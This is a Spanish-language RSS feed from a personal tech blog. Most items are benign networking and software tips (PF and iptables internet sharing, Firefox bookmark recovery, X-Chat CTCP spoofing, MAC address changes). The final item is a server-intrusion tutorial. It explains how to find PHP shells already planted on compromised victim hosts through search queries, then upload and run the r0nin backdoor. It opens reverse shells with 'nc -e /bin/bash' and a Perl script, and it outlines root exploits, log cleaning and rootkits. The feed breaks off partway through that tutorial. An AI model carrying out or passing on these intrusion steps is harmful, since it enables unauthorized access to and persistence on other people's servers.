<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Sarckz&#039;s weblog &#187; Software</title>
	<atom:link href="http://www.sarckz.com.ar/category/software/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.sarckz.com.ar</link>
	<description>Blog de opinión, guías y cosas de interés</description>
	<lastBuildDate>Thu, 13 May 2010 01:47:54 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>¿Pequeña falla en Gmail?</title>
		<link>http://www.sarckz.com.ar/2008/09/22/%c2%bfpequena-falla-en-gmail/</link>
		<comments>http://www.sarckz.com.ar/2008/09/22/%c2%bfpequena-falla-en-gmail/#comments</comments>
		<pubDate>Mon, 22 Sep 2008 21:24:59 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.sarckz.com.ar/?p=38</guid>
		<description><![CDATA[Hace poco mientras revisaba mi cuenta de Gmail encontré varios mensajes extraños: Pero no era extraño el hecho de que sea spam dirigido a mi dirección de correo electrónico, ni que haya sido &#8220;enviado por mi&#8221; (fijarse en el remitente) ya que falsificar el remitente es muy fácil hoy en día, era extraño el hecho [...]]]></description>
			<content:encoded><![CDATA[<div>
<p>Hace poco mientras revisaba mi cuenta de Gmail encontré varios  mensajes extraños:</p>
<p><span id="more-38"></span></p>
<p><img src="http://img252.imageshack.us/img252/1008/sshot1gr2.png" border="0" alt="" /></p>
<p>Pero no era extraño el hecho de que sea spam dirigido  a mi dirección de correo electrónico, ni que haya sido &#8220;enviado por mi&#8221;  (fijarse en el remitente) ya que falsificar el remitente es muy fácil  hoy en día, era extraño el hecho de que los mensajes se encontraban en  la carpeta Enviados.</p>
<p><img src="http://img171.imageshack.us/img171/3748/sshot2yd5.png" border="0" alt="" /></p>
<p>Imagino  que lo más probable es que quienes envían estos mensajes sepan de esta  falla. Me parece raro que Gmail no haya pensado en esta posibilidad y su  filtro de mensajes pase por alto que alguien se &#8220;envíe&#8221; un e-mail a si  mismo desde un servidor que probablemente no es el de Gmail, y aún así  no envíe el mensaje a la Bandeja de Entrada como es costumbre, sino a la  carpeta Enviados. Es cierto, proviene supuestamente de mi misma  dirección, pero el servidor debería poder autentificar las  falsificaciones de correo como hace con el resto del spam u otros  mensajes.</p>
<p>Hasta el día de hoy sigo recibiendo e-mails de este  tipo y realmente no me molesta, pero si me molesta de que ahora hay otra  forma más de evadir la múy utilizada carpeta Spam, permaneciendo en la  cuenta de correo del usuario hasta que estos mensajes se borren o el  mismo los vea.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.sarckz.com.ar/2008/09/22/%c2%bfpequena-falla-en-gmail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Compartir internét con PF (Packet Filter)</title>
		<link>http://www.sarckz.com.ar/2008/07/19/compartir-internet-con-pf-packet-filter/</link>
		<comments>http://www.sarckz.com.ar/2008/07/19/compartir-internet-con-pf-packet-filter/#comments</comments>
		<pubDate>Sat, 19 Jul 2008 21:05:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[BSD]]></category>

		<guid isPermaLink="false">http://www.sarckz.com.ar/?p=12</guid>
		<description><![CDATA[Packet Filter (PF), es un filtro de paquetes o cortafuegos de OpenBSD (aunque se usa en otros BSDs) basado en configuración dinámica. Escrito por Daniel Hartmeier, reemplazó al filtro de Darren Reed (IPFilter) en OpenBSD debido a problemas con la licencia. (Extraído de Wikipedia). Como veremos en este artículo, además de usarlo como firewall podemos [...]]]></description>
			<content:encoded><![CDATA[<p>Packet Filter (PF), es un filtro de paquetes o cortafuegos de OpenBSD  (aunque se usa en otros BSDs) basado en configuración dinámica. Escrito  por Daniel Hartmeier, reemplazó al filtro de Darren Reed (IPFilter) en  OpenBSD debido a problemas con la licencia. (Extraído de Wikipedia).</p>
<p>Como  veremos en este artículo, además de usarlo como firewall podemos usarlo  para compartir internet desde un servidor hacia PCs que estén  conectadas a el.</p>
<p>Sus reglas son bastante más sencillas que IpFilter e Iptables, por lo  que no nos costará entender lo que vamos a hacer.</p>
<p><span id="more-12"></span>Hagamos de cuenta  de que tenemos el mismo caso que en mi tutorial de compartir internet  con iptables: Una PC servidora la cual tiene dos tarjetas de red: Una la  cual recibe la conexión a partir de un módem, router o switch, y la  otra la cual debe proveer de conexión a otra pc (digamos un “cliente”).<br />
En  BSD las tarjetas son mencionadas de otra forma (sin el tipico eth0,  eth1, etc etc, de GNU/Linux). Por ejemplo, una tarjeta Via Rhine se  llamará vr0, vr1, etc; y una Davicom se llamará dc0, dc1, etc etc. Así  que primero debemos averiguar bien el nombre de cada tarjeta de red  antes de seguir.<br />
Para usar PF obviamente tenemos que iniciarlo. Por  defecto el mismo no se ejecuta al inicio, así que podemos elegir entre  inciarlo manualmente con el comando /etc/rc.d/pf start, o editar  /etc/rc.conf para habilitarlo. Lo hacemos de la siguiente manera:</p>
<p>Editamos  /etc/rc.conf con el editor que elijamos. En OpenBSD vamos hasta la  línea donde pone:</p>
<p>pf=NO</p>
<p>Y le cambiamos el NO por un YES.</p>
<p>En  FreeBSD vamos a la línea que dice:</p>
<p>pf_enable=NO</p>
<p>Y también  cambiamos el NO por YES.</p>
<p>En NetBSD editamos el mismo archivo,  pero tenemos que añadir pf=YES al final.</p>
<p>Ahora debemos editar el  archivo /etc/pf.conf. Buscamos estas dos líneas:</p>
<p>ext_if=”&#8221;</p>
<p>int_if=”&#8221;</p>
<p>Supongamos  que tenemos vr0 y vr1; la primera recibe la conexión y la segunda es la  que queremos que comparta internet al “cliente”. Así que deberíamos  poner a vr0 como interface externa y a vr1 como interface interna:</p>
<p>ext_if=”vr0&#8243;</p>
<p>int_if=”vr1&#8243;</p>
<p>Activamos  NAT (Network Adress Translation), el cual nos permitirá cambiar la IP  de los paquetes salientes y entrantes de nuestras pcs “clientes” por la  IP externa de nuestro ordenador que comparte internet. Para eso  descomentamos la siguiente línea:</p>
<p>#nat on $ext_if from !($ext_if)  -&gt; ($ext_if:0)</p>
<p>Con esto hará que se aplique NAT a todos los  paquetes que no vengan de nuestra interface externa.</p>
<p>Ahora  dejamos pasar todo el tráfico (entrante y saliente) de nuestra interface  interna. Agregamos las siguientes líneas:</p>
<p>pass in on $int_if all</p>
<p>pass  out on $int_if all</p>
<p>Guardamos el archivo y ya podemos seguir con  el próximo paso.</p>
<p>Puede suceder que cuando iniciemos PF nos diga  un error como el siguiente:</p>
<p>pfctl: /dev/pf: device not  configured.</p>
<p>Eso ocurre cuando no se carga el módulo de  packetfilter. Para cargarlo solo nesecitamos hacer:</p>
<p># modload  /usr/lkm/pf.o</p>
<p>E intentamos activar pf nuevamente.</p>
<p>Para  evitar tener que activarlo cada vez que iniciamos el ordenador, podemos  activar lkm (loadable kernel module (un daemon que activa y desactiva  módulos)) al inicio del sistema:</p>
<p>Editamos /etc/rc.conf y buscamos  la línea que diga:</p>
<p>lkm=NO</p>
<p>Y cambiamos el NO por YES.</p>
<p>En  NetBSD debemos añadir lkm=YES al final.</p>
<p>Luego editamos el  archivo /etc/lkm.conf, y abajo de todo agregamos lo siguiente:</p>
<p>/usr/lkm/pf.o  &#8211; - &#8211; - BEFORENET</p>
<p>Con esto el lkm activará el módulo de packet  filter antes de que se inicien las funciones de red (BEFORENET) y antes  de que obviamente, se inicie PF.</p>
<p>Si ya activamos PF antes de  editar el archivo de coinfiguración, podemos cargar de nuevo el pf.conf  que acabamos de editar de la siguiente forma:</p>
<p># pfctl -f  /etc/pf.conf</p>
<p>Por último, activamos el ip forwarding (el proceso  en el cual se redirigen paquetes de una red a otra, en este caso, de  internet a una o más pcs “clientes” de nuestra red local):</p>
<p>#  sysctl net.inet.ip.forwarding=1</p>
<p>Para que no tengamos que  activarlo cada vez que iniciamos el sistema, editamos el archivo  /etc/sysctl.conf y descomentamos la siguiente línea:</p>
<p>#net.inet.ip.forwarding=1</p>
<p>O  sea, le quitamos el #.</p>
<p>Y ya está. Podemos reiniciar para que se  active todo automáticamente o podemos activar todo a mano de las formas  que mencioné arriba.</p>
<p>Sugiero leer la <a href="http://www.openbsd.org/faq/pf/es/index.html" target="_blank">documentación</a> de Packet Filter para entender mejor estas funciones y aplicarlas como  uno desee.</p>
<p style="text-align: center;"><a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/"><img style="border-width: 0;" src="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" alt="Creative Commons License" /></a><br />
This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/">Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sarckz.com.ar/2008/07/19/compartir-internet-con-pf-packet-filter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Problema de los marcadores (bookmarks) en Firefox</title>
		<link>http://www.sarckz.com.ar/2007/12/06/problema-de-los-marcadores-bookmarks-en-firefox/</link>
		<comments>http://www.sarckz.com.ar/2007/12/06/problema-de-los-marcadores-bookmarks-en-firefox/#comments</comments>
		<pubDate>Thu, 06 Dec 2007 21:09:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.sarckz.com.ar/?p=20</guid>
		<description><![CDATA[A mi jamás me ha pasado, pero lo he visto en otras PCs. Sucede a veces cuando cierras el Firefox y al abrirlo nuevamente ya no tienes más marcadores (favoritos, bookmarks, es lo mismo). Para recuperarlos podemos hacer lo siguiente: Cerramos el Mozilla Firefox. En Windows: Nos dirigimos a C:\Documents and Settings\Tu usuario\Datos de programa\Mozilla\Firefox\Profiles\carpeta-de-tu-profile\bookmarkbackups [...]]]></description>
			<content:encoded><![CDATA[<div>
<p>A mi jamás me ha pasado, pero lo he visto en otras PCs. Sucede a  veces cuando cierras el Firefox y al abrirlo nuevamente ya no tienes más  marcadores (favoritos, bookmarks, es lo mismo).</p>
<p>Para  recuperarlos podemos hacer lo siguiente:</p>
<p>Cerramos el Mozilla Firefox.</p>
<p>En Windows:</p>
<p>Nos dirigimos a  C:\Documents and Settings\Tu usuario\Datos de  programa\Mozilla\Firefox\Profiles\carpeta-de-tu-profile\bookmarkbackups</p>
<p>(Obviamente  la unidad de disco rígido puede cambiar según donde tengan instalado  Windows).</p>
<p>Copiamos el archivo .html más actual (por ejemplo, si  tenemos 2007-10-21.html, 2007-11-02.html y 2007-11-06.html entonces  copiamos la última) a la carpeta anterior (o sea, la de tu profile) con  el nombre de bookmarks.html (si, tenemos que sustituir el bookmarks.html  que ya estaba ahi).</p>
<p>En sistemas Unix o Unix-like:</p>
<p>$ cd  ~/.mozilla/firefox/carpeta-de-tu-profile/bookmarkbackups</p>
<p>$ cp  la-copia-mas-actual-que-tengan.html  ~/.mozilla/firefox/carpeta-de-tu-profile/bookmarks.html</p>
<p>Abren el  Firefox, y listo, ya tienen de nuevo sus marcadores.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.sarckz.com.ar/2007/12/06/problema-de-los-marcadores-bookmarks-en-firefox/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Compartir internet con Iptables</title>
		<link>http://www.sarckz.com.ar/2007/11/14/compartir-internet-con-iptables/</link>
		<comments>http://www.sarckz.com.ar/2007/11/14/compartir-internet-con-iptables/#comments</comments>
		<pubDate>Wed, 14 Nov 2007 21:11:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>

		<guid isPermaLink="false">http://www.sarckz.com.ar/?p=22</guid>
		<description><![CDATA[Algo que seguramente nesecitaremos hacer si tenemos una red local (lan), y queremos compartir internet a los demás ordenadores pero no tenemos un router o switch, así que lo hacemos con nuestro ordenador que tiene GNU/Linux. La mejor opción para estos casos es usar Iptables. ¿Por qué?. Iptables viene incluido en casi todas las distribuciones [...]]]></description>
			<content:encoded><![CDATA[<p>Algo que seguramente nesecitaremos hacer si tenemos una red local  (lan), y queremos compartir internet a los demás ordenadores pero no  tenemos un router o switch, así que lo hacemos con nuestro ordenador que  tiene GNU/Linux.</p>
<p>La mejor opción para estos casos es usar Iptables. ¿Por qué?.  Iptables viene incluido en casi todas las distribuciones de GNU/Linux;  es más seguro porque viene integrado al Kernel (no como los programas de  firewall que escuchan en determinado puerto) y con un par de comandos  puedes realizar fácilmente lo que te propongas hacer.</p>
<p><span id="more-22"></span>Iptables funciona de la siguiente forma:</p>
<p>iptables<br />
-tabla<br />
&#8211;comando  cadena<br />
&#8212;regla<br />
&#8212;-objetivo</p>
<p>O sea, debemos llamar a  iptables, especificar en que tabla se actuará (en cual se agregarán,  eliminarán o modificarán datos), definir una acción a realizar, que  reglas y condiciones le aplicamos a esa acción a realizar, y el objetivo  (a que cosa/s va a afectar).</p>
<p>Bien, veamos como realizar dicha  tarea con el típico ejemplo de red:</p>
<p>Tenemos varios ordenadores en  nuestra red, cada cliente tiene por lo menos una interfáz de red y el  server tiene dos o más (una para recibir la conexión de internet y la  otra/s dependiendo de la cantidad de clientes que sea igual a las de los  mismos).</p>
<p>En este ejemplo se tendrá un ordenador servidor con dos  interfaces de red (eth0 y eth1).</p>
<p>Por eth0 recibe la conexión a  internet y por eth1 se comunica con el ordenador cliente que hay en la  red.</p>
<p>Pero antes de configurar a donde enviaremos los paquetes que  lleguen de internet a los demás ordenadores (y viceversa), debemos  activar el reenvío de los mismos, o sea, hacer un <em>ipforwarding</em>.  Entonces en nuestro server, como root hacemos:</p>
<p># echo 1 &gt;  /proc/sys/net/ipv4/ip_forward</p>
<p>Ahora debemos agregar los comandos a  Iptables para que nos permita el recibir y enviar paquetes (desde y  hacia internet) con los demás ordenadores.</p>
<p># iptables -t nat -A  POSTROUTING -o eth0 -j MASQUERADE</p>
<p>-t = Especifica la tabla de  reglas, en este caso nat.</p>
<p>nat = (Network Address Translation). Es  la tabla de manipulación de direcciones y puertos.</p>
<p>-A = Agrega  un comando o una regla a la tabla.</p>
<p>POSTROUTING = Modifica el  destino del paquete/s luego de que se decide si irá al ordenador local  (server o el que tiene el firewall) o a otro ordenador de la red.</p>
<p>-o  = Sirve para especificar la interface</p>
<p>eth0 = La interface de red  a la que se sale a internet.</p>
<p>-j = Aplicar</p>
<p>MASQUERADE =  Enmascarar. Significa que el router (en este caso nuestro ordenador hace  de router con Iptables) reemplaza la información que viene de un  paquete, o sea, le pone su propia IP y número de puerto y lo envía a su  destino. Los paquetes de regreso llegan al router y este revisa a que  ordenador van dirigidos (de los que estén especificados en el mismo  router), les quita el enmascaramiento y los envía al host que envió la  petición origen.</p>
<p>Todo bien con esto, pero así se enmascararían  todos los paquetes que pasen por nuestra interface que conecta a  internet. ¿Que pasa si queremos nada más enmascarar el rango de IPs de  nuestra red? Con esto podríamos evitar que se use nuestra conexión  externamente para enmascarar sus paquetes.</p>
<p>Si el rango de IPs de  nuestra red es el típico 192.168.0.x hacemos:</p>
<p>iptables -t nat -A  POSTROUTING -o eth0 -s 192.168.0.0/24</p>
<p>Con eso especificamos que  se enmascaren solamente los paquetes enviados por las IPs 192.168.0.0  hasta 192.168.0.255. El /24 sirve para especificar la máscara de red  (que naturalmente debe ser 255.255.255.0). En caso de tener además de  ese rango por ej, tienen el 192.168.1.x solo deben agregar la misma  regla una vez más, pero cambiando el <strong>192.168.0.0</strong> por  (obviamente) 192.168.1.0.</p>
<p>Para no tener que hacer esto cada vez  que reiniciamos el ordenador, nos conviene guardar los comandos en algún  script que se ejecute al iniciar (como /etc/rc.local). Simplemente  ponemos un comando por línea y las órdenes se ejecutarán durante el  booteo de tu GNU/Linux.</p>
<p>Si tienen dudas o quieren hacer alguna  otra cosa pueden leer alguno de estos manuales</p>
<p><a href="http://www.linuxdata.com.ar/index.php?idmanual=redfirewall.htm&amp;amp;manuale=1" target="_blank">Linux data inf &#8211; Como configurar una red con un  firewall</a>.</p>
<p><a href="http://www.wikilearning.com/que_es_un_firewall-wkccp-9755-1.htm" target="_blank">Manual práctico de Iptables</a>.</p>
<p>O pueden buscar  otros de los varios que hay rondando por internet, o simplemente  tecleando en su consola:</p>
<p>man iptables</p>
<p style="text-align: center;"><a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/"><img style="border-width: 0;" src="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" alt="Creative Commons License" /></a><br />
This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/">Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sarckz.com.ar/2007/11/14/compartir-internet-con-iptables/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Falsificar la respuesta CTCP version en X-chat</title>
		<link>http://www.sarckz.com.ar/2007/11/04/falsificar-la-respuesta-ctcp-version-en-x-chat/</link>
		<comments>http://www.sarckz.com.ar/2007/11/04/falsificar-la-respuesta-ctcp-version-en-x-chat/#comments</comments>
		<pubDate>Sun, 04 Nov 2007 21:13:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.sarckz.com.ar/?p=24</guid>
		<description><![CDATA[Buscando resolver un problema con el X-Chat me topé con la forma de como realizar este famoso truco que ya casi todos conocemos pero no sabemos hacer. Es muy sencillo: Escribimos el siguiente comando en nuestra ventana de X-Chat: /set irc_hide_version 1 Con eso desactivaremos que responda con el version verdadero. Si queremos que no [...]]]></description>
			<content:encoded><![CDATA[<div>
<p>Buscando resolver un problema con el <a href="http://www.xchat.org/" target="_blank">X-Chat</a> me topé con la forma de como realizar este  famoso truco que ya casi todos conocemos pero no sabemos hacer.</p>
<p>Es muy sencillo:</p>
<p>Escribimos el siguiente comando en nuestra  ventana de X-Chat:</p>
<p>/set irc_hide_version 1</p>
<p>Con eso  desactivaremos que responda con el version verdadero.</p>
<p>Si queremos  que no tengamos que escribir ese comando cada vez que iniciamos el  X-Chat, editamos el archivo xchat.conf que tenemos en la carpeta raíz  del X-Chat, y donde dice <strong>irc_hide_version = 0</strong> le  cambiamos el 0 por un 1.</p>
<p>Ahora vamos al menú <strong>Settings</strong> &#8212;&gt; <strong>Advanced</strong> &#8212;&gt; <strong>CTCP Replies</strong>,  y hacemos lo siguiente:</p>
<p>Clickeamos en <strong>Add New</strong> y  en el primer recuadro que dice *NEW* escribimos <strong>VERSION</strong>,  y en el segundo recuadro (que dice <strong>EDIT ME</strong>) escribimos  <strong>nctcp %s Lo que queramos que le responda al que envía</strong>.  Por ejemplo, si escribimos <strong>nctcp %s Windoze 5.0</strong> le  responderá por mensaje privado (notice) al usuario lo siguiente:</p>
<p>Windoze  5.0</p>
<p>Cuando terminamos clickeamos en <strong>Save</strong>, y ya  hemos terminado.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.sarckz.com.ar/2007/11/04/falsificar-la-respuesta-ctcp-version-en-x-chat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cambiar IP mediante MAC address en GNU/Linux</title>
		<link>http://www.sarckz.com.ar/2007/06/09/cambiar-ip-mediante-mac-address-en-gnulinux/</link>
		<comments>http://www.sarckz.com.ar/2007/06/09/cambiar-ip-mediante-mac-address-en-gnulinux/#comments</comments>
		<pubDate>Sat, 09 Jun 2007 20:58:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>

		<guid isPermaLink="false">http://www.sarckz.com.ar/?p=8</guid>
		<description><![CDATA[Aclaración: Este texto sólo servirá para las personas que se conecten a internet a través de una tarjeta de red. Si te conectas mediante usb esto NO funcionará. Bueno, empecemos. Supongamos que nuestra tarjeta de red es eth0. Ahora abrimos una terminal y entramos en modo de superusuario. Si no estás logueado como root puedes [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Aclaración:</strong> Este texto sólo servirá para las  personas que se conecten a internet a través de una tarjeta de red. Si  te conectas mediante usb esto NO funcionará.</p>
<p><span id="more-8"></span>Bueno, empecemos.</p>
<p>Supongamos que nuestra tarjeta de red es  eth0.<br />
Ahora abrimos una terminal y entramos en modo de superusuario.  Si no estás logueado como root puedes entrar en modo de superusuario  con el comando su y escribiendo la contraseña de root, o con el comando  sudo (solo disponibles en ciertas distribuciones).<br />
Ahora lo primero  que haremos será mirar nuestra MAC adress actual.<br />
Esto podrás hacerlo  con el comando:<br />
ifconfig</p>
<p>Buscamos eth0, y veremos algo como  esto:</p>
<p>eth0      Link encap:Ethernet  HWaddr <strong>00:0D:87:E5:45:6E</strong><br />
inet  addr:XXX.XXX.XXX.XXX  Bcast:255.255.255.255  Mask:255.255.255.0</p>
<p>Etc  etc.</p>
<p>XXX.XXX.XXX.XXX es tu IP actual.<br />
La MAC address es la  que está resaltada.<br />
Ahora pondremos down esa tarjeta de red así  podremos aplicarle los cambios.<br />
Escribe:<br />
ifconfig eth0 down<br />
(Eso  desconectará internet)<br />
Ahora lo que debemos hacer es cambiar la MAC  address de eth0 actual por una diferente. Podemos cambiarle el último  caracter, o varios; de cualquier forma nos dará otra IP. En este caso  cambiaremos el último. Eso lo hacemos con el siguiente comando:<br />
ifconfig  eth0 hw ether 00:0D:87:E5:45:6D</p>
<p>(Nótese que se cambió la última E  por una D)<br />
Hay que  respetar una cosa: Donde hay números sólo podemos cambiarlo por números,  y donde hay letras sólo podemos cambiarlo por otras letras. Las letras  solamente pueden ser de la A a la F.</p>
<p>Ahora volvemos a  poner up la tarjeta con el comando:<br />
ifconfig eth0 up<br />
Y finalmente  reiniciamos la red, con el comando:<br />
dhclient eth0</p>
<p>Y nuestro  ISP automáticamente nos dará una IP diferente.</p>
<p style="text-align: center;"><a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/"><img style="border-width: 0;" src="http://i.creativecommons.org/l/by-nc-nd/3.0/88x31.png" alt="Creative Commons License" /></a><br />
This work is licensed under a <a rel="license" href="http://creativecommons.org/licenses/by-nc-nd/3.0/">Creative Commons Attribution-Noncommercial-No Derivative Works 3.0 Unported License</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.sarckz.com.ar/2007/06/09/cambiar-ip-mediante-mac-address-en-gnulinux/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rooteando un servidor con GNU/Linux</title>
		<link>http://www.sarckz.com.ar/2007/06/09/rooteando-un-servidor-con-gnulinux/</link>
		<comments>http://www.sarckz.com.ar/2007/06/09/rooteando-un-servidor-con-gnulinux/#comments</comments>
		<pubDate>Sat, 09 Jun 2007 20:43:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[GNU/Linux]]></category>

		<guid isPermaLink="false">http://www.sarckz.com.ar/?p=3</guid>
		<description><![CDATA[Con &#8220;rootear&#8221; nos referimos a conseguir acceso como superusuario (root) en un ordenador con GNU/Linux, de forma que podemos realizar cualquier cambio en el ordenador víctima. Los pasos que voy a describir en este tutorial son los siguientes: 1_ Conseguir una shell PHP decente. 2_ Conectar al ordenador víctima. 3_ Consiguiendo y utiilizando un rootexploit [...]]]></description>
			<content:encoded><![CDATA[<p>Con &#8220;rootear&#8221; nos referimos a conseguir acceso como superusuario  (root) en un ordenador con GNU/Linux, de forma que podemos realizar  cualquier cambio en el ordenador víctima.</p>
<p>Los pasos que voy a  describir en este tutorial son los siguientes:</p>
<p>1_ Conseguir una shell PHP decente.<br />
2_ Conectar al ordenador  víctima.<br />
3_ Consiguiendo y utiilizando un rootexploit para la versión  de Kernel del ordenador víctima.<br />
4_ Agregar usuario root para poder  conectar mediante SSH.<br />
5_ Configurar SSHD en caso de ser necesario  para poder conectar al ordenador víctima mediante SSH con nuestro  usuario root.<br />
6_ Activando o reiniciando SSHD en caso de ser  necesario.<br />
7_ Conectando mediante SSH con tu usuario root.<br />
8_  Utilizando limpiadores de logs<br />
9_ Rootkits (Opcional).<br />
10_  Aclaraciones finales.</p>
<p><span id="more-3"></span>Empecemos&#8230;</p>
<ul>
<li><strong>1_ Conseguir una shell PHP decente:</strong></li>
</ul>
<p>¿Que quiero decir con eso? Una shell PHP es un script donde  pueden ejecutarse comandos de la misma forma que en una consola de texto  (en este caso será una consola de texto de GNU/Linux). Los comandos  disponibles son solamente los que el ordenador que tiene esa shell PHP  permite. En pocas palabras, una shell PHP es una consola de texto más.<br />
Para  obtener una shell PHP podemos hacer dos cosas: O lograr subir una shell  PHP al ordenador víctima aprovechando alguna vulnerabilidad, o buscar  una  que ya esté subida a otro ordenador víctima (esto es lo mejor si  solo quieres practicar).<br />
Antes de buscar una shell PHP, o usar una  que ya tengamos, nesecitamos tener un punto en cuenta:<br />
El ordenador  víctima debe tener el Safe mode de PHP desactivado, o sea, OFF, si está  ON no permite la ejecución de archivos ni la navegación por los  directorios; así que si está en ON no nos servirá.<br />
Podemos encontrar  muchas shells PHP con safe mode OFF usando a nuestro amigo <a href="http://www.google.com/" target="_blank">Google</a>, de las dos  siguientes formas:<br />
&#8220;Safe mode: OFF&#8221;<br />
&#8220;Safe mode: OFF (Not secure)&#8221;  &lt;&#8212; Esta es mejor<br />
Lo mejor es incluir las comillas, así los  resultados serán mucho más exactos.</p>
<p>Para fijarnos el sistema  operativo que está corriendo ese ordenador podemos utilizar el comando:</p>
<p>uname</p>
<p>Si  dice otra cosa que no sea &#8220;Linux&#8221;, entonces no sirve.</p>
<p>Una vez  que hemos encontrado un ordenador con Linux podemos empezar a probar que  comandos tenemos disponibles, así iremos viendo si vale la pena seguir  adelante.</p>
<p>Con decente me refiero a que permita ejecutar binarios  (ejecutables), se puedan subir archivos mediante el comando wget, o  desde la misma shell; y permita que puedan conectarse al ordenador  víctima de forma que obtengan su shell, o que permita que ese ordenador  nos de su shell a través de una conexión inversa.</p>
<p>¿Como  averiguamos esto? Con el siguiente paso:</p>
<ul>
<li><strong>2_ Conectar al ordenador víctima:</strong></li>
</ul>
<p>Ya tenemos la shell PHP con Safe mode OFF, ahora lo que debemos  hacer para poder utilizar un exploit y ganar acceso como root, es  conectarnos al ordenador víctima.<br />
¿Como hacemos eso? Hay dos formas:<br />
La  primera es utilizando un backdoor, que es una especie de troyano el  cual se instala en X puerto y nosotros podemos acceder a el mediante  netcat, u otro programa similar.<br />
En este caso usaremos el troyano  para linux más conocido y usado: r0nin<br />
Al ejecutarse este backdoor se  instala en el puerto 1666<br />
Lo subimos mediante wget y la url del  archivo, o con la misma shell (si es que da la opción).<br />
Para  ejecutarlo vamos al directorio donde está el r0nin y escribimos:<br />
chmod  +x r0nin<br />
Con eso le damos permiso de ejecución. Y ahora:</p>
<p>./r0nin</p>
<p>./  significa que se ejecuta el archivo que está en ese mismo directorio.</p>
<p>Bien,  ahora revisaremos si el ordenador permite que nos conectemos a el. En  este caso usaremos el netcat para tratar de conectar al host. Escribimos  en la consola:</p>
<p>nc ipdelhost 1666</p>
<p>Si aparece la shell de  la víctima ya no nesecitas probar hacer una conexión inversa y puedes  pasar al paso 3, pero si no funciona deberás probar el otro método.</p>
<p>El  otro método es: Conexión inversa.</p>
<p>¿Como funciona esto? Dejas un  puerto de tu ordenador a la escucha, eso quiere decir que aceptará  cualquier conexión entrante en el puerto especificado. En este caso  usaremos el puerto 31337, así podremos recibir la shell que enviaremos  del ordenador víctima al nuestro.<br />
Para dejar a la escucha el puerto  31337 escribimos:</p>
<p>nc -l -n -v -p 31337</p>
<p>Debería aparecer  algo como esto:</p>
<p>listening on [any] 31337 &#8230;</p>
<p>Ahora que ya  dejamos el puerto listo, debemos enviar la shell de la víctima a aquel.  En la shell PHP del equipo víctima escribimos:</p>
<p>nc -e /bin/bash  nuestraip 31337</p>
<p>Si no tiene el netcat, o el mismo ha sido  deshabilitado, podemos subirle uno, darle permisos llendo al directorio  donde se encuentra el mismo y haciendo chmod +x nc, y ejecutarlo de la  misma forma que el paso anterior, pero antes especificar que se usará el  nc que está en el directorio en donde estamos nosotros, o sea, usando  ./</p>
<p>También puedes subir el lugar del netcat, un script en perl  que realice una conexión inversa; en este ejemplo usaremos mi preferido.<br />
Para  ejecutarlo luego de subirlo, ve al directorio donde se encuentra el  mismo, dale permisos de ejecución con chmod +x pb.pl, y ejecútalo de la  siguiente forma:</p>
<p>perl pb.pl tuip 31337</p>
<p>Ahora deberías  tener la shell de tu víctima lista para usar. Si ninguno de los pasos  anteriores sirve, lo mejor es que te des por vencido y busques otro  ordenador con una shell PHP e intentes de nuevo los pasos anteriores, ya  que aquel debe tener firewall y no permite conexiones entrantes ni  salientes en puertos que no sean utilizados para tareas comunes y  corrientes (ejemplo, puerto 80 para servidor web, 25 para correo, etc).</p>
<p>Ahora  que ya tienes la shell de tu víctima, puedes ir al paso 3:</p>
<ul>
<li><strong>3_  Consiguiendo y utiilizando un rootexploit para la versión de Kernel del  ordenador víctima:</strong></li>
</ul>
<p>Ahora, para  conseguir permisos de root en ese ordenador, debemos explotarlo  utilizando un rootexploit. Busca por cualquier lugar en internet y los  encontrarás.</p>
<p>Pero antes de probar cualquier exploit lo mejor es  ver que versión de Kernel tiene la víctima, para eso escribimos en la  shell de la misma:</p>
<p>uname -a</p>
